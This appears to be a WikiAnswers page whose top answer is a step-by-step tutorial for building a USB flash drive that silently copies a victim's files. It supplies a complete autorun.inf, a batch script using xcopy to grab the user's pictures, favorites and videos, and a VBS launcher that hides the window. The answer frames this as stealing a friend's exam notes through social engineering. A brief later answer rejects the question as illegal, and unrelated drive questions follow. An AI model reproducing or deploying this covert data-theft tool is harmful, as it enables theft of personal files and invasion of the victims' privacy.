answersLogoWhite

0


Best Answer

Let's say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn't going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, "Hey, buddy! I have some great new music. Want it?". Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.

STEP 1Open Notepad (I recommend Notepad++) and copy-paste the following lines.[autorun]

icon=drive.ico

open=launch.bat

action=Click OK to Run

shell\open\command=launch.bat

Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It's useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The "action=" command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The "shell/open command" also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

STEP 2Open Notepad again and copy-paste the following lines@echo off

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"

%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"

%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"

@echo off

cls

Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called "all". This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%\pictures" - is the target.

The second file path "%drive%\all\My pics" - is the destination.

STEP 3Open Notepad once again and copy-paste the following line.CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

STEP 4Open Notepad one last time and copy-paste the following line.wscript.exe \invisible.vbs file.bat

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

STEP 5Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named "all" where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

User Avatar

Wiki User

12y ago
This answer is:
User Avatar
More answers
User Avatar

Wiki User

9y ago

Questions pertaining to illegal acts are not permitted on this site.

This answer is:
User Avatar

Add your answer:

Earn +20 pts
Q: How can my computer steal data from a pen drive without owner's knowledge?
Write your answer...
Submit
Still have questions?
magnify glass
imp
Related questions

What is the most important device in a computer that without it the computer cannot function?

The hard drive


When do I use drive or drives in a sentence?

I drive to work every morning. She drives a car. My computer has one drive. / My computer has two drives. My brother drives me crazy. His thirst for knowledge drives him to study harder.


How do you put a CD into a computer without a CD drive?

You don't.


How can you boot the operating system on an IBM ThinkPad 570 without the hard drive?

How do you get a computer to boot up with no hard drive? What are the steps or what is the process of getting a hard drive installed into your computer if it is not bootable because of a missing hard drive.


How do you know if you have a hard drive if you will not open your computer?

If you can boot your computer without connecting or inserting anything and not being connected to a network, its pretty safe to say you a hard drive. Booting a computer without using one of the above methods is possible, but rare.


Can you put a blu-ray drive in your computer without any special software?

The disc drive must be blu-ray compatible for it to operate on your computer properly.


Can you open USB files that you never saved to your computer?

If the files are still on the USB drive, you can open them, even though they were never saved to the actually computer. The USB drive is a portable hard drive, plugging into your computer gives you access to view what is on the USB drive without having to save them to the actual computer.


How do you make your computer faster without tuneup running?

Defragment the hard drive.


What is a external drive?

An external drive is one that is not in -side the computer- It is a Disk (hard) drive or can also be a CD drive which is connected by a cable to the computer. The connection is usually by SCSI, USB, or SATA(eSATA) connection. An external drive allows you to add a drive to the computer you are using - to expand storage or add a CD drive without actually having to open the computer to add another one. An external drive also allows you to move the drive from computer to computer, Portably. The external drive usually has it's own power supply and case.


How can I expand my computer storage without opening it up?

You can store items in other ways without adjusting hardware inside of your computer. You can you an external hard drive, a thumb drive, and online services that allow you to store data as well.


How do you make your computer find your flash drive?

Usually just plug the flash drive into the computer. A flash drive is a Plug-and-Play device, meaning you can plug the device into the computer and the computer will detect the device without having to reboot.


What role does a hard drive plays on the computer?

The hard drive stores the Operating System. Like for example : Windows XP or Windows Vista or even Windows 7 without the hard drive your computer will not turn on.